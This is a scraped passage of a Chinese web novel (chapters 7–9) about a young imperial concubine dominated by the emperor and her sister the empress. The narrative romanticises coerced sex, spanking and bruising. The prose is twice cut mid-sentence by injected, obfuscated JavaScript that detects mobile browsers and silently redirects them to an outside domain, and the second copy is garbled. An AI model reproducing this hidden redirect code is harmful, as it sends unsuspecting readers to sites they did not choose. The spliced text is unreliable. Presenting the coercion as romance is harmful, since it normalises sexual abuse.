《薄情帝王火葬场了》 7. 第 7 章 元皇后一听到元慕变了词调,立刻就抚上了她的脸庞:“不会有事的,阿洛。” “你别怕,”元皇后笃定地说道,“万事都有姐姐在。” 元慕侧过脸,眸里尽是挣扎。 “一定要用这样的方法吗?”她压低声说道,“不能将她们送出宫吗?” 元慕的长睫抬起,望向元皇后。 那双眼眸的色泽太浅了。 瞧着如高泉山涧般凛冽,实则唯有一片清凌凌的稚弱柔软。 隐约还透着些微怯意。 元皇后略带薄怒。 “你看不明白吗,阿洛?”她像是压抑着情绪,“女子的声名是最重要的,她们被陛下指给楚王做妾,再想高嫁已经绝无可能。” 元皇后咬着字说道:“现在除了入宫,她们没有任何路可走了。” 元慕的脸庞苍白。 她是真的没有想到,这些事的影响会这么深。 皇帝掌惯了生杀予夺。 他是纯粹的上位者,待人没有任何怜悯。 元慕至今还记得,她刚入宫的时候,有位公主没瞧出她的身份,责罚她在雨中跪了一刻钟。 那是皇帝的一位庶妹。 说不上多么位高权重,但到底也是有头有脸的人物。 听说在先帝在时,甚至颇为受宠。 在雨中被罚跪,可比在黑暗的祠堂里要好太多。 哪怕是在人前,元慕也不觉得有什么。 她只是至今都忘不了,皇帝在步辇里望见她时的可怕容色。 他直接走了下来,眼底晦暗得骇人。 那位方才还趾高气扬的公主,被一巴掌扇倒在地,连话都未来得及说,就吐出一口血来。 皇帝当然不是在乎元慕。 只是她作为帝王嫔妃一日,她的尊严就不容人践踏。 哪怕是公主又如何,在皇帝的面前,还不是只有跪匍的资格。 后来元慕再也没有见过那位公主。 只听人说似乎是因病暴毙了。 再加上生前做过些不光彩的事,连封号也被一并褫夺了。 元慕从前就听人说过,皇帝是寡情之人,对待亲身的父亲,都没有任何的情感。 但那日的事,还是让她真切地感受到了皇帝的凉薄。 他连血浓于水的妹妹都不在乎,更别说是全然不相熟的人了。 元慕攥着指节,迟疑地说道:“可是陛下……” “没有可是,”元皇后打断了元慕,“不会怎样的。” 她的神情是那样自负。 元皇后放柔声调:“你相信姐姐,也相信姐姐在陛下这里说话的份量。” “陛下这些年,为了我的尊宠,”她轻声说道,“连采女都未纳一个。” 元皇后抚着元慕的脸庞。 她声音缓慢:“女子的贤良淑德,倒是我缺漏了。” “三娘和五娘都是好孩子,”元皇后凝视着元慕的眼眸,“她们应当获得该有的荣宠,对不对?” 她的眼底是毋庸置疑的笃定。 元慕只在皇帝的眼中看到过类似的暗光。 她忽然明白元皇后的自负从何而来。 跟她这样无枝可依的笼鸟不一样。 元皇后的身后有强势的家族,有无比疼宠她的父兄,还有对她任何决策都无比纵容的皇帝。 她想要什么,皇帝都会答应的。 她欲图做什么,皇帝都会准允的。 此事虽然荒唐,却到底是他们夫妻间的事而已。 元慕只是行事的桥梁与工具。 元皇后说得对,有她撑腰,皇帝的确是不会怪罪的。 往皇帝的床上送女人这种事,元皇后又不是第一回干。 在元慕初入宫的时候。 她既恨下诏的皇帝,又恨提此议的皇后。 可相对于忤逆他,皇帝更不能容忍的一直都是她忤逆皇后。 元慕攥着指节,她垂下眸子。 年少时如影随影的,那种对于世事的倦怠感,久违地在这个时候再度生了出来。 她低声说道:“我都听您的。” 元皇后变来变去的容色,总算好转起来。 她露出笑容,站起身亲自将元慕送到了轿辇上:“早些休息,有事情我到时候会再同你说的。” 消失已久的侍女们,也再度出现。 她们好些人是从元家出来的,与皇后是如出一辙的高傲。 说是仆从,但对元慕从来都没有过好脸色。 此刻众人的脸上都是笑意盈盈。 “奴婢送娘娘上轿,”侍女笑着说道,“您小心些。” 元慕不适应这样的场合,和元皇后告别过后,就乘着轿辇离开。 她回到清宁宫时已经是午后。 元慕简单用了一盅白玉鱼羹,就没有胃口。 她草草沐浴了片刻,便抱着绣花的锦衾,在安神香的袅袅玉烟里昏昏睡去。 也不知是不是白昼时经了太多事。 元慕又陷入了梦魇里。 内殿昏黑,只有远离拨步床的角落点着暗灯。 她睁不开眼,身躯像是被人牢牢地掌控,手腕被举高扣在肩头。 宽松的软袍被撩开,就连合/拢的腿/心也被人给掰开了。 小腿像是被蛇尾缠绕束缚,冰冷的信子掠过腿侧,脸庞也被带着薄茧的手直接掌住。 元慕被迫启唇,含住男人修长的指节。 她泪眼朦胧,摇晃着腰肢,想要挣脱男人的钳制。 可两人的体型差异太大了。 他一只手就能将她按死在怀里。 男人的脸庞埋在元慕的颈侧,他像暗中藏匿的黑蛇般,病态地闻嗅她落泪时迸发出来的暗香。 他行事向来狠,在这方面更是全无怜悯。 元慕不住地挣动,纤细的腿颤动,带着哭腔唤道:“不要……” 她太想从梦里挣脱了。 然而这句哭喊声刚落下,柔软的肉臀就被狠抽了几巴掌。 男人的声音喑哑:“闹什么呢?” 他紧紧地掐着她的纤腰,让她的眼泪落得更多。 元慕又疼痛又羞赧,她的脸庞湿红,眼尾烧得发烫,泪珠子断线似的往下掉。 她在半梦半醒间时,反应总是会很迟钝。 被男人抱着打了好几下后,元慕才那样清楚地意识到,她不是做了绮梦,而是再度被皇帝带上了床。 她清醒时很克制,这会儿眼泪却止不住。 在家里的时候,父亲那么厌恶她,都没有打过她的。 可是皇帝似乎从没有将她当做成年姑娘过。 元慕想要忍住泪水,但是身上太疼了,她哭得停不下来。 皇帝知道元慕常哭,她经不得逗弄,像是水做的美人,没做什么都能让她哭得不成样子。 但现下她哭得有点太狠了。 皇帝有些无奈,他单手抱起元慕,将床侧的灯亲自点上。 他们年岁足足差了七岁,她平常还算懂事,某些时候就像孩子般很能哭。 打也打不得,骂也骂不得。 比他那个闯祸精弟弟还要麻烦得多。 皇帝将元慕抱在腿上,用指节拭去她眼尾的泪水:“怎么了,谁给你受委屈了吗?” 经了这么一遭,他的兴致退去许多。 皇帝将元慕被撩开的裙摆,也放了下去。 他连亲弟弟都没哄过,生疏地碰了碰元慕的额头。 “元萦说什么了?”皇帝低声问道,“还是德妃她们惹到你了?” 他是最会从别人身上找缘由的。 从来都不会想自己做了什么。 元慕刚被扇打过臀肉,雪白的臀根上红痕肿痛,根本坐不住。 她咬住唇瓣,喉间发出一声带着哭腔的细吟:“疼……” 元慕那张疏冷端庄的脸庞,布满红霞,露出羞赧神情时,实在是别有风情。 听她可怜的娇啼声,皇帝整日的郁气都褪尽了。 如今他御宇两年有余,脾气也是越来越好。 若是放在之前,皇帝只会让元慕疼得更狠,哭得更狠。 但现在他却轻声说道:“给你揉揉,就不疼了。” 元慕眼眸含水,她环住皇帝的脖颈,趴在他的怀里,许久脸上的滚烫热意才下去。 今天是十五,每逢朔望,事情就格外的多。 腊月的朔望,事情更多。 尤其是过几日就是皇后的千秋节。 “饿不饿?”皇帝抚了抚元慕的小腹,“宫人说你午间就吃了点鱼羹。” 他抱起元慕,将人往外殿带去。 元慕睡得沉,全然不知道过去了多久,看到外间擦黑的天色时,才意识到已经晚上了。 “有一点饿。”她的眼眸微肿,话也回得慢。 这种元慕会格外的乖柔,她依稀记得礼仪,又不像平时那样战战兢兢。 皇帝碰了碰她的眼皮,语气中含着纵容:“那去我那边用吧。” 元慕这边的小厨房,是他特意配的。 下毒在宫廷中是屡见不鲜的事。 元慕没什么存在感,也从不会主动招惹人。 但皇后妹妹这个身份,就已经足够危险。 吃食是大意不得的。 但这边的饮食再精细,也比不上紫微殿。 元慕哪有拒绝的可能?皇帝说的也不是问句,只是通知她一声,要带她过去罢了。 她坐在皇帝的怀里,轻轻地“嗯”了一声。 清宁宫和紫微殿颇有一段距离,路上冷,元慕前不久又烧了一场。 皇帝先是取出一件红色的斗篷,随后沉思片刻,换成了一身雪白的狐裘,将她从头到脚裹得严严实实。 元慕随他摆弄。 她本以为是皇帝是随性所至,看到外间的铁骑时,才意识到发生了什么。 铁骑踏在丹墀上,像是索命的阴兵无声过境。 仅仅是遥遥地望去,就能令人惧得腿抖。 无数阴冷军士,身披铠甲、头戴兜鍪,沉默在死寂的夜色中。 明明那么多人,却一点声响都没有。 皇帝出行,这样的情形是常态。 清宁宫附近也是有驻军的,因为这里实在是太偏僻了,附近又环着山。 这是很寻常的事。 但元慕蓦地心悸了一下,她后退了半步,差些跌坐在地上。 她是经历过兵乱的人,哗变的军士用长刀刺穿长官的心肺,大股大股的鲜血溅射出来,能喷出一丈高。 元慕及笄的那年,是整个京兆最混乱的一年。 玉裕重辉、龙章凤姿的储君被废。 贤良淑德、温婉高贵的皇后被杀。 外敌侵扰,内政混乱,权臣磨刀霍霍,奸佞如日中天。 整个京兆都陷入水深火热当中,有好几回,元慕自己都差些置身死地。 她对军士,还有那种气质冷酷的男人,有着本能的恐惧。 事到如今,仍然心有余悸。 皇帝一把将元慕抱了起来,而后将人抱上马车。 “最近是不是吃得太少了?”他轻声说道,“才走了两步就没有力气了吗?” 元慕摇了摇头,将脸庞埋在皇帝的肩头:“没有少吃。” 她的呼吸紊乱,胸腔里的心脏,也在扑通扑通地跳着。 混乱当中,想起白昼时元皇后说过的事,元慕的心神更加不安。 但上了马车后,皇帝就在看文书,没有注意到她的异样。 元慕半躺着,怀里抱着柔软的迎枕。 她阖着眼眸,就像是睡着了似的安静。 只有跳个不停的心房,透露出了元慕此时真正的心情。 他们骂她骂得没有错误。 她的确是个怯弱的人。 好像这辈子的勇敢和反抗,都用在了及笄的那一年。 冬天被强诏入宫后,元慕受尽磋磨,那艰难生出的勇气也越来越少。 她抱着迎枕,身上盖着柔软的羊毛厚毯,眼尾渐渐湿润。 但想到那纸诏书后,元慕紊乱的思绪,倏然清晰了那么一瞬间。 她入宫的那天,好像就是腊月十五来着。 元慕没能想太多,紫微殿就到了。 皇帝收起文书,将她从马车里抱了出来。 每次来紫微殿的记忆,都不是太美好。 元慕望向那巍峨的宫殿,感觉黑暗的穹顶都快要压下来了。 晚膳是已经备好的。 烛火微茫,像是龙凤烛般,寂静地燃烧着。 元慕这个品阶,是不能和皇帝共食的。 她只能站着为帝后布餐,或是接受少许皇帝赏赐下来的餐食。 但元慕正在思索宫中的礼仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788693|174898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,皇帝就已经将一枚梅花酥,喂到了她的唇边。 他方才就一直抱着她,到这时候也没放手。 元慕坐在皇帝的腿上,方才挨过巴掌的地方已经不疼了,但别扭仍是有些别扭。 她不习惯跟人太亲近,更不要说跟皇帝了。 元慕的面颊透着薄粉,她像小雀般张开唇,咬住那枚梅花酥。 她虽然不适应,但却很知道如何顺着皇帝来。 整个晚膳用得还算顺畅。 皇帝用得不多,他的精力都花在喂养元慕上了。 临到最后吃水果甜点时,他轻轻开口:“一晃眼,你入宫都两年了。” 元慕抬起长睫,澄澈的眸底,映出皇帝的俊美容颜。 他的神色难得这样柔和。 尤其今天的事那样不顺,但皇帝的神情还是很清澹疏和。 “有没有什么想要的?”他语调和柔,“位份,钱财,金玉,全都可以。” 皇帝的容色是那样温柔。 就像是看似清浅见底的水潭,空灵净明,却深不可测。 元慕突然生出一种惧意。 这种惧意是发自本能的,就像是她一直以来对皇帝的怕。 元慕张了张唇,却什么都没能说出来。 幸运的是,紫微殿的门忽然被人从外间叩响了。 宫人应当是被特意屏退下去过的。 可敲门的人身份贵重,实在不同寻常。 “皇兄,”楚王一声声地唤着,“皇兄!” 外间的侍从极其想要拦住他,但这一位从前在宫里的时候,就是天不怕地不怕的主。 先帝和先皇后都管不了他。 紫微殿内旖旎的氛围消失了干净利落。 皇帝阴沉着脸,眼底简直要流露杀意。 元慕怯怯地拉住他的衣袖,小声说道:“我、我要不先避一避……” 她说着就站起身,像是落荒而逃般要往内殿走去。 之前几回将人给吓着了。 元慕的脸皮又薄。 皇帝扣住元慕的腰身,强将她给拉了回来。 他近乎是咬着牙根说道:“不必,先把这盏樱桃冰酪吃完。” 元慕被迫坐在席位里,她执着金色的汤匙,无措地舀起一枚樱桃:“真的合适吗?” 皇帝不准允她见外男。 元慕也不知道,皇帝的弟弟算不算是外男。 但皇帝已经站起身,将殿门打开。 楚王一身鲜红色的长袍,眉眼闪烁:“皇兄,你用晚膳了吗?” 他很自然地跻身进来。 皇帝无论何时都是从容淡漠的,元慕奇异地在他的脸上,看到了兄长般的气急败坏。 然后下一瞬,她的目光就和楚王对上了。 红衣烈烈,年轻气盛。 丹凤眼,悬胆鼻,微挑的眉。 原来他就是楚王,皇帝的弟弟。 怪不得会生得这么像。 元慕的指节顿住,某个瞬间,她的心像是被戳了一下似的难过。 说不出来缘由,道不清楚去脉。 但出乎元慕意外的是,在望见她后,楚王并没有移开视线。 他直直地望向她,就像是孩子瞧见新奇的物什。 楚王轻轻问道:“那是谁呀,皇兄?” 皇帝没理会楚王,他回过身,向着元慕走来,她唇边沾到了乳酪,他从容地抬起手,径直帮她抿去。 这样的行为,不须任何言语,就直接昭示了元慕的身份。 元慕没有跟着皇帝见过客。 这是皇后才有的资格。 她不太自在,脸颊泛着薄红,想要避开皇帝的指节。 但皇帝掐着元慕的粉腮,将她的脸庞抬了起来。 他低声说道:“之前怎么教你的?见到客人要说什么?” 元慕受了训斥,脸庞更红,站起身时腿仍有些软,全靠皇帝揽着腰身才没有失仪。 她欠身行礼,轻轻说道:“臣妾见过楚王殿下。” 那样细柔的一把嗓音,微微带着颤意,软得能掐出水来。 楚王望向元慕。 他端详了她片刻,有礼地说道:“小王见过昭仪娘娘。” 可没人跟他说过元慕的身份。 皇帝的眼微微眯了眯。 他状似不经意地问道:“之前见过吗?” “不用见呀,”楚王看向皇帝,“昭仪娘娘生得和元皇后这么像,我当然可以认出来。” 皇帝的神色平和了少许。 他引着楚王落座,然后让内侍又添了几样膳食。 碳火炙烤好的鲜羊肉,滋滋地冒着油,香气扑鼻,脍炙人口。 楚王是个很善于言辞的人。 他跟皇帝的关系又那样亲近。 元慕已经吃不下了,她就那样坐在座位里,一边吃着樱桃冰酪,一边听着两人闲语。 她以为她会很紧张,但这种时候,又一种莫名的平静闲适。 元慕一个人待惯了,用餐时没有人陪。 也就从前在庄子里的时候,玉姨娘和妹妹,会跟她说几句话罢了。 明天还有朝务,皇帝又不允元慕晚睡,所以在夤夜将至的时候,他直接让人把楚王带走了。 一晚上过得像梦似的松快。 不对。甚至比梦境还要松快。 在皇帝将沐浴过后的元慕抱上床时,她都没有反应过来他直接让她留宿了。 “方才还没说呢,”他将她额侧的乌发捋至耳后,“有什么想要的吗?” 明灯暗了许多。 影影绰绰的光线里,皇帝的容色是那样柔和。 元慕乱了整天的心绪,在这个时候,突然变得很平静。 她不是无欲无求的人。 元慕有很多想要的。 就譬如白昼时,她最想要的是,楚王能主动拒了崔三娘和崔五娘做侍妾。 可是现在的氛围太好了。 皇帝的神情和过往中万事依她的青年相重叠。 元慕不由自主地便说道:“陛下,我想要离开皇宫,可以吗?” 她仰起眼眸,那清浅如水的眼里,是纯真到可怕的稚嫩。 两年的宫闱生活,她没有见识到权力争斗的刀光剑影,也并未真正认清皇帝冷淡容色下的病态偏执。 方才还眉目含笑的男人,神情忽然冷到了极致。 8. 第 8 章 方才还旖旎的氛围,在霎时之间冷了下来。 皇帝抬起手,抚上元慕的脸庞。 他的容色极冷,眸光暗沉:“怎么突然想到这个了?” 皇帝眼里的笑意消退得很快。 他生得俊美,但那双深色的丹凤眼凌厉,不带笑时常有种冷酷之感。 皇帝的性子瞧着平和淡漠,实则颇为阴晴不定、喜怒无常。 连在床笫间,元慕偶尔说错一句话,他的容色都会蓦地冷戾。 诸种手段,她是全然无法招架的。 元慕很怕惹皇帝动怒,见他敛了笑意,就立刻低下了眼眸。 浓密的长睫颤着垂落,在眼睑出映出鸦羽般的剪影。 她纤细的手指蜷缩,雪颜苍白,柔软的朱唇也微微抿着。 元慕身上是有些清冷气质的。 决然超世,风姿绰约,恍若涧水,倒映皎月。 此刻那张柔美的面容,呈现出来的神情却是紧绷和无措。 方才某个瞬间浮现的依赖,仿佛只是皇帝的幻觉。 如果是在平日,他决计不会这样轻轻放过。 从入宫的那夜起,或者说从诏书生效的那刻起,元慕就永远只会是皇帝的嫔妃。 她活着的时候只能够待在他的身边。 就算是死了,也只能够陪葬皇陵。 很早之前,皇帝就很疑惑,元慕到底是哪里来的勇气,敢说想要离开他的。 他连她婚前失贞、心有所属的事,都按捺了下来。 元慕却敢频频与旧情人有牵扯,甚至私下见过那人好几次。 可见她低眸抿唇的惧怕神情,皇帝到底没有怎样。 他掐住元慕的下颌,迫使她抬起脸庞,慢条斯理地问道:“是有人欺负你了吗?还是谁跟你说了什么?” 皇帝的指节冰冷,元慕却像是被烫到般。 但下颌被掐着,她连错开皇帝的视线都做不到。 元慕抿着唇,声音低弱:“没有,陛下,我只是、只是……” 她清浅的眸里是晃动的水光。 嘴上在说没有,可神情却是快哭了。 “没事,”皇帝碰了碰元慕的额头,“跟朕说一说。” 他放松对她的钳制,指腹摩挲她下颌处的红痕。 雪肤太嫩了,稍不留意,就落下红痕了。 元慕揉了揉眼眸,身躯总算没那般紧绷。 她的眼眶微红,声音微微发哑:“我入宫都两年了,还无法为您诞育皇子,我怕……” 元慕话还没说完,喉头又哽了起来。 她单薄的后背颤抖,就像是受了欺负的孩子。 元慕入宫已有两年,但满打满算,也才十七岁。 如今流行晚嫁,寻常人家都会多留女儿几年,富贵人家更是有留到二十的。 在宫闱里,元慕属于极是稚嫩的。 不然也不会被那样一个庸常的男人所骗,连女儿家最宝贵的贞洁也交付出去。 皇帝轻叹一声,揽过元慕的细腰,将她往怀里搂了搂。 他吻了吻她的颈侧,呢喃般地说道:“你还能有什么好怕的呢?” 皇帝的声音很轻,柔得像风一样。 宠溺,纵容,怜爱。 所有的温和情绪,仿佛都藏在这句话里了。 元慕不明所以,刚刚抬起眸,雪白脖颈后的小衣细带就被解开。 她沐浴后就被皇帝抱回来了,身上就剩一件蔽体的衣物。 皇帝的指节抚过腿根时,元慕禁不住地颤,更加无暇去思考。 他的声音低哑:“既是忧虑这件事,与其白白担心,还不如做些实在的。” 元慕的吐息紊乱,被陡然抱起时,她的眼泪溢了出来。 内帐中浮动着的是她身上迸发出来的香气。 元慕像是案板上的游鱼。 她不住地想要挣扎,但腰身被牢牢攥住,柔软的朱唇也被皇帝吻住,喘息都喘息不得。 只能如风浪中的小舟般,不断地飘摇。 在这种时刻,想要抓住理智是很难的。 元慕极力想要抗拒,却很快就被皇帝扣住脚踝,向着更深的深水里坠去。 她阖上眼眸,在某个瞬间,忘记了再去挣扎。 - 彻夜无梦。 翌日,元慕没能起得来。 正午时皇帝结束朝会归来,她还在睡。 细白的一截胳膊垂在床边,腕间还有深红色的掐痕隐约可见。 如玉般的纤颈,浑圆雪白的肩头,单薄伶仃的背骨,处处都是青紫痕印。 连那对精致的蝴蝶骨,都被打了印记。 元慕将近黎明时才睡过去。 她睡得很沉,吐息悠长缓慢。 元慕前段时间总是梦魇,今次是难得睡的这样好。 皇帝俯身,轻轻抚了抚她的额头,然后又将锦被盖在她的身上。 紫微殿的火龙烧得很足。 元慕怕热,夜间睡时总爱将手脚伸出来,然后像小八爪鱼般抱着锦衾。 惯常这种事都是侍女在做。 她们都比皇帝更善于照顾人,也更得元慕的信赖和喜欢。 皇帝坐在拨步床的边沿,就那样看了元慕许久。 等到内侍过来言说元皇后过来了,他方才起身离开。 巧的是皇帝离开不久,元慕就醒过来了。 她的喉咙干涩得发疼,下意识地唤侍女,片刻后无人应声,才想起昨夜在紫微殿留宿了。 身上实在是太疼了。 元慕咬住唇,细眉也拧在了一起。 她浑身上下都不舒服,坐起身时,感觉筋骨都像是被刺透了。 元慕疼得厉害,但最疼的还是嗓子。 想喝水。 她对紫微殿并不熟悉,身上又乏力。 金帐层叠地向下垂落,单是将之挑开,就用了元慕十足的力气。 她环视了一大圈,总算在西侧的矮案上找到了杯盏。 元慕勉强找了件外袍披上,跪坐在菱格地毯上,颤抖着手倒了一杯水。 饮下大半杯的茶水后,干涸的喉咙才被浸润,不再渴得要冒烟。 惯常元慕醒过来时,皇帝都在。 他事务繁多,会直接安排人送她回宫。 元慕鲜少在这边留宿,但每一回都是这样的。 她迟疑了片刻,也没等到来巡看情况的内侍,索性系好腰带,从内殿走了出去。 外袍宽松,底纹是素色的波浪。 瞧着应当是常服。 元慕不知道是皇帝的,还是她的。 她只能祈祷,这是她之前留在这里的。 元慕正要走出去时,熟悉的声音忽然响了起来。 “只是寻常生辰而已,也不是整十寿辰,”元皇后受宠若惊地说道,“您何必这样大费周章呢,真是折煞臣妾了。” 皇帝轻声说道:“一年就这么一回,自然要盛大些。” “再看看,除却礼单上的,”他将卷轴推到皇后那边,“还有什么想要的吗?” 夫妻之间,讲究的是相敬如宾、举案齐眉。 譬如日月,至亲至疏,彼此敬重爱护。 侍妾就不一样了。 娶妻当娶贤,纳妾则纳色。 没有人会跟侍妾讲究尊重的。 侍妾是男人床笫间的玩物,是为家族开枝散叶的工具。 不仅高门大族,就连皇家也是如此。 元慕站在虚掩着的门后,她带着一身凌乱肮脏的痕迹,听着她的姐姐和姐夫对话。 她很久没有感受到这种喘不上气的滞涩。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788694|174898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 胸腔里的气息,像是被榨干了似的。 无声的隐痛绵长细密。 元慕抿了抿唇,她赤着足,踩着菱格地毯,再度走回到拨步床内。 金帐像是华美的高笼,她蜷缩着身躯,长睫被濡湿后,沉重到抬不起来。 皇帝下午还有事。 见过皇后,简单交代过一些事后,他就离开了紫微殿。 等到皇帝回来时,内侍说元慕已经走了。 她很乖顺,从来没向他讨要过什么,亲密过后,也从来不缠着他片刻。 昨天原本是想要赠她些东西的。 金玉,钱财,土地,仆从,他其实准备了很多。 别的不说,至少位份也该升一升的。 昭仪的位次还是太低了。 四妃哪个都能欺负她一句。 她是好性子,什么都受得了,他可没有这么好脾气。 但元慕那句想要出宫的话,乍然打破了皇帝所有的安排。 本想着等她醒了再谈,却没想到她逃得这样快。 他望向人去阁空的床帐,本就晦暗不明的眼底,更像是浸不入光般阴翳。 为什么每次都这么着急离开他呢? - 上回的事后,元慕在清宁宫休息了两日。 她常要静养,才能有足够的精力。 再加上很快就是元皇后的生辰,元慕作为她的亲妹妹,后宫嫔妃的一员,是无论如何都要到场的。 好在这两日皇帝没再来。 他只让太医送了回药,是补身的药。 说是补身,实则就是助孕。 元慕才承宠的时候,喝过几回。 她喝不惯苦药,后来皇帝就没让人备过。 瓷瓶中装着的是药丸,进献过来的内侍满脸堆笑:“娘娘,这是陛下特意令人制的,直接服用即可。” “里面加了糖霜,”他谄媚地说道,“包管不苦的。” 元慕让侍女接过,然后有礼地令人送内侍离开。 但回过头后,她就将那瓷瓶收了起来。 明天就是千秋节,最近整个后宫的事情都不会少。 皇后母仪天下,她的生辰是国家的节庆,内外命妇都要入朝觐见,各藩属国也要派使臣觐见。 举办宴席的地方在金明池。 明日仪式才会正式开始,但今日就已经极尽热闹了。 元慕过去的时候,处处都已张灯结彩。 等到明天,还会有烟火表演。 火树银花,星河不夜。 不知道会有多精彩。 元慕去年生病了,高热连日不退,完全错过了这样的一场盛宴,只听旁人说起过,是怎样的热闹非凡。 先皇后的千秋节在夏天。 但元慕夏天都是在青云观过的。 那里与世俗相隔,皇城的热闹是皇城的,跟青云观没有太大关系。 元慕小的时候,做梦都想见一眼传说中的帝后、储君,是什么模样。 他们对她来说,是如隔云端般的人物。 元慕下马车时,已有负责礼乐的宫人,在试礼炮。 乐声阵阵,礼炮轰鸣。 金色的光芒照彻黑夜,死寂的深冬都于此刻逢春。 元慕站得不凑巧,刚好被那金色的雨落了满身。 她披着素白的外氅,肩头都是灿烂的金辉。 宫人知悉闯了大祸,冲撞到了昭仪娘娘,急得满头大汗,匆忙就想要过来。 但在其余人过来之前,元慕最先瞧见的是一双笑眼。 楚王一身红衣,丹凤眼笑弯:“咱们俩真不凑巧啊,嫂嫂。” 曾几何时,也有那样一位故人,弯起同样的笑眼,用温和口吻朝她说过同样的话。 抬眸的刹那,元慕倏地心悸了一瞬。 9. 第 9 章 月色明亮,处处又点着灯。 楚王的那张面孔显得分外明耀。 他生得和皇帝很像,气质上却又有明显的不同。 就单单是那双丹凤眼,差别就大到了极致。 皇帝的面上很少带笑,眸色暗沉,幽深得像透不进光的寒潭。 楚王的眼则常是会弯起的,清澈的瞳仁里倒映月光,仿若云影无声掠空。 元慕愣怔了片刻,方才收回视线,她福身轻唤:“楚王殿下。” 负责礼炮的侍从匆忙赶了过来,发觉元慕对面是楚王时,更是差些要昏过去的。 这可真是要捅天的大疏漏。 但元慕并没有说什么,她轻轻拂去肩头的金色飘带,缓缓摇了摇头:“没事。” 楚王更是直接摆了摆手,淡然道:“都回去吧。” 说完他就带着元慕离开。 “上回昭仪娘娘给我带路,”楚王轻声说道,“这回也该我给你带路了。” 她仰起头,眼眸微抬:“有劳殿下了。” 元慕对皇帝这个同胞的弟弟并不熟悉。 她只知道两人关系很好,楚王是个有喘疾的混世魔王。 被皇帝偏爱的人,无疑是非常幸福的。 元慕就算是在皇宫住上再多年,也不可能把这里当成家。 她是个没有归属感的人,细细算下来,待得最长久的地方,应当是元家的那个庄子。 不过后来兵乱大火,早就烧了个一干二净。 但楚王就可以做到。 他走在宫道上,穿着明显不符合礼仪的鲜艳衣袍,像是引着客人的小少爷似的。 今朝尚水德,尚黑,尚六。 就是皇帝的衮服,大多也都是黑色。 可是单这几回见到楚王,他穿的都是极其明丽的红衣,就像是个张扬的少年人。 因此在楚王面前,元慕总有种自己年岁更长的错觉。 她拎起裙摆,随着楚王走上拱桥:“你选妃的事,还顺利吗?” 元慕很盼着楚王能改变主意,主动跟皇帝说,不想要崔家的两个女孩做妾。 但这种事,她作为后妃,不可能参涉其中。 前朝有旧例,元慕的姓氏又格外特殊。 只是她跟姨娘多时未见,跟妹妹也很久未见。 所以在面对楚王时,下意识地就生出了少许姐姐般的关怀。 尤其他还是那样的礼貌客气,跟传闻中实在不一样。 楚王的眉眼懒洋洋的,他拖着腔调:“这种事情都是兄长说了算,我其实不太能做主。” 他闲适地折下一段枯枝,递给元慕。 听到楚王的话,元慕有些怔忪。 但接过那截枯枝后,她顿时没心思再想别的。 楚王的眼力好,随手折的一截枯枝,也格外的精致漂亮。 这种随手赠人物什的习惯,真是像极了那人。 “你宫里会莳花弄草的人吗?”楚王的丹凤眼盈着光,“可以找人摆弄一下,配上梅花应当瞧着不错。” 已经到地方了。 说完话后,楚王就抬手离开:“再见,嫂嫂。” 他的衣袍在风中轻飘,就像是乘着红色的烟霞。 这截枯枝是那样寻常,但元慕心中却莫名有些温暖。 她将枯枝藏进了袖中,然后提裙越过屏风,走进嫔妃们的席位当间。 明日就是千秋节,今天宫城内外就已经十足热闹。 或许真是有天命在身。 临近皇后生辰,连日来呼啸的冷风,都变得不再呼啸。 宫灯明亮,无数的命妇已然盛妆出席。 这是一年到头最重要的节日之一,怎样庆祝都不为过的。 连久在南宫的太妃们,也都来到了席间。 元慕一路穿过人群,素白的鹤氅衬得她身姿绰约,在月色下仿佛在发光,叫人想不注意到都难。 她很少着盛装,大部分衣裙都是保守素净的。 每逢大宴时,才会稍微隆重些。 即便如此,元慕的衣着与众意欲争宠的嫔妃相比,还是过分的疏寡了些。 甚至可以说,全靠她的姿容撑着。 德妃冷眼看向她,在元慕路过时哼了一声:“真是勾栏做派。” 她的声音不高不低,不会引起太大的注意,却又刚巧能叫附近的人听得清晰。 这个词很脏,全然不像是出自世家贵女口中。 元皇后刚巧过来,听得一清二楚。 她身边的崔家姑娘,也微微吃了一惊。 元皇后执掌六宫,并不会容得嫔妃们过分乱来。 尤其元慕是她的亲妹妹,打元慕的脸,就是在打她的脸。 可听到德妃这样说时,元皇后心底忽然觉得解气至极。 这两年来,元慕在做的事,说好听些,是代替皇后承宠生子,说难听些,可不就是以色侍人吗? 元皇后的脚步停住,没再向前走动。 但听到那句话后,元慕的神情却没有任何变化。 她轻轻地看了德妃一眼。 那样的目光,平静得像是在看一泓水。 明明受了辱骂的是元慕,被顿时激起情绪的却是德妃。 她盛气凌人,倒八字的眉也竖了起来:“你看什么看?” 方才还在与人闲语的贤妃,听到这边的动静,也立刻投来视线。 她一身金袍,妆容华贵到了极点,轻轻拨开人群,就踏着莲步走了过来。 她们两人不对付,常常一言不合就吵了起来。 “姐姐真是,”贤妃声音含娇,“怎么又与人生口角了?” 德妃眼神凌厉:“这里没你说话的份儿。” “哟,姐姐这话说的,”贤妃弯了弯眼,“我也是后宫的一员,怎么就不能说话了?” 宫闱就是这样的地方。 在太大的利益面前,没有太多人能维持得住体面。 元慕孤身站着,心中是极其强烈的倦怠感。 她全然没有要惹怒德妃的意思。 如果可以的话,元慕真的很想做个透明的人,最好是谁都看不见才好。 胸腔里方才生出的暖意,也被寒风吹了个一干二净。 她无意挑起祸端,但这是皇后千秋节的先宴,不可能由着宫妃争执。 